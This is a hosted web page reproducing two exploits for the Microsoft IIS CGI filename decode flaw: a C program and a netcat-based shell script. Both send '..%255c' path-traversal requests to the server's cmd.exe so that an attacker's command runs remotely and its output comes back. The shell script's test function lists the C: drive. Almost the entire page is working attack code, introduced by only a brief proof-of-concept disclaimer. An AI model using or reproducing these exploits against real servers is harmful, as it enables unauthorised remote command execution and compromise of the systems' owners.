Site hosted by Angelfire.com: Build your free website today!
/*
*
* execiis.c - (c)copyright Filip Maertens
* Microsoft IIS CGI Filename Decode Error
*
* DISCLAIMER: This is proof of concept code. This means, this code
* may only be used on approved systems in order to test the availability
* and integrity of machines during a legal penetration test. In no way
* is the author of this exploit responsible for the use and result of
* this code.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
 

/* Modify this value to whichever sequence you want.
*
* %255c = %%35c = %%35%63 = %25%35%63 = /
*
*/

#define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"

int main(int argc, char *argv[])
{

struct sockaddr_in sin;
char recvbuffer[1], stuff[200];
int create_socket;

printf("iisexec.c | Microsoft IIS CGI Filename Decode Error |
<filip@securax.be>\n-------------------------------------------------------------------------\n");

if (argc < 3)
{
printf(" -- Usage: iisexec [ip] [command]\n");
exit(0);
}
 

if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
printf(" -- Socket created.\n");

sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr(argv[1]);

if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
printf(" -- Connection made.\n");
else
{ printf(" -- No connection.\n"); exit(1); }
 

strcat(stuff, "GET ");
strcat(stuff, SHOWSEQUENCE);
strcat(stuff, argv[2]);
strcat(stuff, " HTTP/1.0\n\n");

memset(recvbuffer, '\0',sizeof(recvbuffer));

send(create_socket, stuff, sizeof(stuff), 0);
recv(create_socket, recvbuffer, sizeof (recvbuffer),0);

if ( ( strstr(recvbuffer,"404") == NULL ) )

printf(" -- Command output:\n\n");
while(recv(create_socket, recvbuffer, 1, 0) > 0)
{
printf("%c", recvbuffer[0]);
}

else
printf(" -- Wrong command processing. \n");

close(create_socket);

}

Exploit (Shell):
#!/bin/sh

# Copyright 2001 by Leif Jakob <bugtraq@jakob.weite-welt.com>
#
# do not abuse this code... blah blah :)

if [ -z "$1" ] ; then
echo "usage:"
echo "$0 hostname"
exit 1
fi

host="$1"

NETCAT=`which netcat`

if [ -z "$NETCAT" ] ; then
NETCAT=`which nc`
fi

if [ -z "$NETCAT" -o ! -x "$NETCAT" ] ; then
echo "you need netcat to make this work"
exit 1
fi

echo "using netcat:$NETCAT"

function makeRequest
{
host="$1"
count=$2
cmd="$3"
echo -n 'GET /scripts/'
while [ $count -gt 0 ] ; do
echo -n '..%255c'
count=$((count-1))
done
echo -n 'winnt/system32/cmd.exe?/c+'
echo -n "$cmd"
echo ' HTTP/1.0'
echo "Host: $host"
echo ''
echo 'dummy'
}

function testHost
{
host="$1"
count=10 # you can't overdo it
cmd='dir+c:\'
makeRequest "$host" "$count" "$cmd" | netcat -w 4 $host 80
}